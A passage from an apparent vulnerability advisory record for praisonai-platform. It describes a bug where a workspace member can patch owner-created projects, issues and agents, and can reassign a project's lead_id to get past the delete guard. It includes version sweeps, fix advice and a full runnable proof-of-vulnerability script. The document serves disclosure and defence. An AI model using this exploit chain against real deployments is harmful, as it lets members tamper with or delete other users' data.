200,\n    \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n    \"member_agent_delete_after_patch\": 403,\n    \"non_member_issue_patch\": 403\n  },\n  \"vulnerable\": true\n}\n```\n\nVersion sweep excerpt:\n\n```text\npraisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.\npraisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\npraisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\n```\n\n## Impact\n\nAn ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning `lead_id` through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` (7.1). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.\n\n## Suggested Fix\n\nApply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route's owner/admin check for PATCH routes, or introduce a `require_update_permission` helper that allows workspace admins/owners and the relevant resource owner only.\n\nFor projects, do not let an ordinary member set `lead_id` on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.\n\nAdd regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project `lead_id` to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives `403`.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe owner/admin update authorization gap is confirmed in sampled versions `0.1.4`, `0.1.6`, `0.1.8`, and current head. The specific project delete-guard bypass through `lead_id` reassignment is confirmed in `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member deletes already returned `204`, so the lead-reassignment chain is masked by a broader older delete issue.\n\nSuggested affected range for the update authorization gap: `pypi:praisonai-platform >=0.1.4, <=0.1.8`. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: `pypi:praisonai-platform >=0.1.6, <=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project `lead_id` delete-guard bypass.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API\", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with `403`, then PATCH succeeds, then DELETE succeeds only after `lead_id` is reassigned through the update route.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers user-controlled `project_id` reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.\n\n`GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning `403`.\n\n## References\n\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Longer Version Sweep\n\n```text\n=== praisonai-platform 0.1.4 ===\n\"member_direct_project_delete_before_patch\": 204\n\"member_project_patch_lead_to_self\": 404\n\"member_issue_patch\": 200\n\"member_agent_patch\": 200\n\"member_issue_delete_after_patch\": 204\n\"member_agent_delete_after_patch\": 204\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.6 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.8 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n```\n\n## Appendix B - Full PoV Script\n\nSave this as `pov_platform_member_update_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform same-workspace member update bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -> None:\n    if repo is None:\n        return\n    platform_root = repo / \"src\" / \"praisonai-platform\"\n    agents_root = repo / \"src\" / \"praisonai-agents\"\n    for path in (str(platform_root), str(agents_root)):\n        if path not in sys.path:\n            sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -> tuple[str, str]:\n    response = await client.post(\n        \"/api/v1/auth/register\",\n        json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n    )\n    if response.status_code >= 400:\n        raise RuntimeError(f\"register failed for {email}: {response.status_code} {response.text}\")\n    body = response.json()\n    return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _run(repo: Path | None) -> dict[str, Any]:\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n    _load_local_source(repo)\n\n    from httpx import ASGITransport, AsyncClient\n    from sqlalchemy.ext.asyncio import create_async_engine\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db import base as base_mod\n    from praisonai_platform.db.base import Base, reset_engine\n\n    await reset_engine()\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n    base_mod._engine = engine\n    base_mod._session_factory = None\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    transport = ASGITransport(app=app)\n    async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n        owner_token, owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n        member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n        outsider_token, _ = await _register(client, \"outsider@example.com\", \"Outsider\")\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n        outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n        ws_resp = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n            headers=owner_headers,\n        )\n        ws_resp.raise_for_status()\n        workspace_id = ws_resp.json()[\"id\"]\n\n        add_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\"user_id\": member_id, \"role\": \"member\"},\n            headers=owner_headers,\n        )\n        add_member.raise_for_status()\n\n        project_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/projects/\",\n            json={\n                \"title\": \"Owner project\",\n                \"description\": \"Owned by the workspace owner\",\n                \"lead_type\": \"member\",\n                \"lead_id\": owner_id,\n            },\n            headers=owner_headers,\n        )\n        project_resp.raise_for_status()\n        project_id = project_resp.json()[\"id\"]\n\n        direct_delete_project = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=member_headers,\n        )\n\n        patch_project = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            json={\n                \"title\": \"Member-controlled project\",\n                \"status\": \"active\",\n                \"lead_type\": \"member\",\n                \"lead_id\": member_id,\n            },\n            headers=member_headers,\n        )\n\n        delete_project_after_takeover = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=member_headers,\n        )\n        owner_get_deleted_project = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=owner_headers,\n        )\n\n        issue_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/\",\n            json={\"title\": \"Owner issue\", \"priority\": \"high\"},\n            headers=owner_headers,\n        )\n        issue_resp.raise_for_status()\n        issue_id = issue_resp.json()[\"id\"]\n\n        patch_issue = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n            headers=member_headers,\n        )\n        owner_get_issue = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            headers=owner_headers,\n        )\n        delete_issue = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            headers=member_headers,\n        )\n\n        agent_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/agents/\",\n            json={\"name\": \"OwnerAgent\", \"instructions\": \"owner-only instructions\"},\n            headers=owner_headers,\n        )\n        agent_resp.raise_for_status()\n        agent_id = agent_resp.json()[\"id\"]\n\n        patch_agent = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n            headers=member_headers,\n        )\n        owner_get_agent = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            headers=owner_headers,\n        )\n        delete_agent = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            headers=member_headers,\n        )\n\n        outsider_patch_issue = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            json={\"title\": \"outsider attempt\"},\n            headers=outsider_headers,\n        )\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}\n    owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}\n    patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}\n\n    checks = {\n        \"member_direct_project_delete_before_patch\": direct_delete_project.status_code,\n        \"member_project_patch_lead_to_self\": patch_project.status_code,\n        \"member_project_delete_after_lead_takeover\": delete_project_after_takeover.status_code,\n        \"owner_get_project_after_member_delete\": owner_get_deleted_project.status_code,\n        \"member_issue_patch\": patch_issue.status_code,\n        \"owner_observes_member_issue_title\": owner_issue_body.get(\"title\"),\n        \"member_issue_delete_after_patch\": delete_issue.status_code,\n        \"member_agent_patch\": patch_agent.status_code,\n        \"owner_observes_member_agent_instructions\": owner_agent_body.get(\"instructions\"),\n        \"member_agent_delete_after_patch\": delete_agent.status_code,\n        \"non_member_issue_patch\": outsider_patch_issue.status_code,\n    }\n    vulnerable = (\n        checks[\"member_direct_project_delete_before_patch\"] == 403\n        and checks[\"member_project_patch_lead_to_self\"] == 200\n        and patch_project_body.get(\"lead_id\") == member_id\n        and checks[\"member_project_delete_after_lead_takeover\"] == 204\n        and checks[\"owner_get_project_after_member_delete\"] == 404\n        and checks[\"member_issue_patch\"] == 200\n        and checks[\"owner_observes_member_issue_title\"] == \"Member rewrote owner issue\"\n        and checks[\"member_issue_delete_after_patch\"] == 403\n        and checks[\"member_agent_patch\"] == 200\n        and checks[\"owner_observes_member_agent_instructions\"] == \"member-controlled instructions\"\n        and checks[\"member_agent_delete_after_patch\"] == 403\n        and checks[\"non_member_issue_patch\"] == 403\n    )\n    return {\n        \"package\": \"praisonai-platform\",\n        \"source\": _source_id(repo),\n        \"workspace_role\": \"member\",\n        \"summary\": \"A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.\",\n        \"checks\": checks,\n        \"vulnerable\": vulnerable,\n    }\n\n\ndef _source_id(repo: Path | None) -> str:\n    if repo is None:\n        import importlib.metadata\n\n        return f\"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}\"\n    import subprocess\n\n    rev = subprocess.check_output(\n        [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n        text=True,\n    ).strip()\n    return f\"git:{rev}\"\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path)\n    parser.add_argument(\"--json\", action=\"store_true\")\n    args = parser.parse_args()\n\n    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n    if args.json:\n        print(json.dumps(result, indent=2, sort_keys=True))\n    else:\n        for key, value in result[\"checks\"].items():\n            print(f\"{key}: {value}\")\n        print(f\"vulnerable: {result['vulnerable']}\")\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai-platform"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c78w-2q4r-68r7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61442"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-patch"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862", "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T22:01:11Z",
    "nvd_published_at" : null
  }
}